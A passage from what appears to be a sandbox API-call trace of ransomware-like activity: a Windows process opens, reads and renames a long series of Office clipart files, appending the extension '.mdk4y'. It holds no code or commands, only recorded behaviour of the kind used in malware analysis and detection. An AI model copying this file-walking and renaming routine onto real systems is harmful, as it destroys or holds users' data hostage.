hTemplateFile=0x0) returned 0xd8 [0138.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821395300000) returned 1 [0138.723] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7a8, lpOverlapped=0x0) returned 1 [0138.741] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821397100000) returned 1 [0138.741] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821397100000) returned 1 [0138.741] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.mdk4y")) returned 1 [0138.742] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.742] AreFileApisANSI () returned 1 [0138.742] GetACP () returned 0x4e4 [0138.742] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00260_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00260_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0138.742] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.767] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821399700000) returned 1 [0138.767] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe4e, lpOverlapped=0x0) returned 1 [0138.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821399900000) returned 1 [0138.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821399900000) returned 1 [0138.769] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.mdk4y")) returned 1 [0138.770] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.770] AreFileApisANSI () returned 1 [0138.770] GetACP () returned 0x4e4 [0138.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00276_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00276_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0138.770] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.770] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821400000000) returned 1 [0138.770] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbc8, lpOverlapped=0x0) returned 1 [0138.786] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821401600000) returned 1 [0138.786] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821401600000) returned 1 [0138.786] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.mdk4y")) returned 1 [0138.787] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.787] AreFileApisANSI () returned 1 [0138.787] GetACP () returned 0x4e4 [0138.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00334_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00334_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0138.787] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.788] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821401800000) returned 1 [0138.788] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5f8, lpOverlapped=0x0) returned 1 [0138.876] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821410600000) returned 1 [0138.876] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821410600000) returned 1 [0138.876] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.mdk4y")) returned 1 [0138.877] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.877] AreFileApisANSI () returned 1 [0138.877] GetACP () returned 0x4e4 [0138.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00443_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00443_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0138.877] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.878] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821410800000) returned 1 [0138.878] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xce2, lpOverlapped=0x0) returned 1 [0138.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821416100000) returned 1 [0138.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821416100000) returned 1 [0138.932] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.mdk4y")) returned 1 [0138.933] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.933] AreFileApisANSI () returned 1 [0138.933] GetACP () returned 0x4e4 [0138.933] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00513_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00513_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0138.933] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821416300000) returned 1 [0138.933] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x332, lpOverlapped=0x0) returned 1 [0138.976] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821420600000) returned 1 [0138.976] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821420600000) returned 1 [0138.976] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.mdk4y")) returned 1 [0138.977] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.977] AreFileApisANSI () returned 1 [0138.977] GetACP () returned 0x4e4 [0138.977] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00524_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00524_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0138.977] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.978] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821420800000) returned 1 [0138.978] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3960, lpOverlapped=0x0) returned 1 [0139.007] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821423700000) returned 1 [0139.007] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821423700000) returned 1 [0139.007] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.mdk4y")) returned 1 [0139.008] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.008] AreFileApisANSI () returned 1 [0139.008] GetACP () returned 0x4e4 [0139.008] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00526_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00526_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.008] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.009] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821423900000) returned 1 [0139.009] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x34e2, lpOverlapped=0x0) returned 1 [0139.027] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821425700000) returned 1 [0139.027] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821425700000) returned 1 [0139.028] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.mdk4y")) returned 1 [0139.029] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.029] AreFileApisANSI () returned 1 [0139.029] GetACP () returned 0x4e4 [0139.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00527_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00527_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.029] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.036] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821426600000) returned 1 [0139.036] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x16a6, lpOverlapped=0x0) returned 1 [0139.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821432800000) returned 1 [0139.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821432800000) returned 1 [0139.099] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.mdk4y")) returned 1 [0139.100] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.100] AreFileApisANSI () returned 1 [0139.100] GetACP () returned 0x4e4 [0139.100] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00546_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00546_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.100] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.101] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821433100000) returned 1 [0139.101] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe86, lpOverlapped=0x0) returned 1 [0139.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821437200000) returned 1 [0139.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821437200000) returned 1 [0139.142] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.mdk4y")) returned 1 [0139.143] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.143] AreFileApisANSI () returned 1 [0139.143] GetACP () returned 0x4e4 [0139.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00601_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00601_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.144] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.144] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821437400000) returned 1 [0139.144] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5bc, lpOverlapped=0x0) returned 1 [0139.198] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821442800000) returned 1 [0139.198] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821442800000) returned 1 [0139.199] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.mdk4y")) returned 1 [0139.199] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.200] AreFileApisANSI () returned 1 [0139.200] GetACP () returned 0x4e4 [0139.200] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00602_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00602_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.200] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.200] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821443000000) returned 1 [0139.200] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x578, lpOverlapped=0x0) returned 1 [0139.251] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821448100000) returned 1 [0139.251] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821448100000) returned 1 [0139.251] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.mdk4y")) returned 1 [0139.252] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.252] AreFileApisANSI () returned 1 [0139.252] GetACP () returned 0x4e4 [0139.252] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00612_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00612_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.252] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.253] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821448300000) returned 1 [0139.253] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3158, lpOverlapped=0x0) returned 1 [0139.259] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821448900000) returned 1 [0139.259] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821448900000) returned 1 [0139.259] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.mdk4y")) returned 1 [0139.260] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.260] AreFileApisANSI () returned 1 [0139.260] GetACP () returned 0x4e4 [0139.260] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00623_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00623_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.260] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.261] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821449100000) returned 1 [0139.261] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2994, lpOverlapped=0x0) returned 1 [0139.441] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821467100000) returned 1 [0139.441] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821467100000) returned 1 [0139.442] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.mdk4y")) returned 1 [0139.443] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0139.443] AreFileApisANSI () returned 1 [0139.443] GetACP () returned 0x4e4 [0139.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HH00625_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HH00625_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0139.443] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0139.443] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821467300000) returned 1 [0139.443] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: 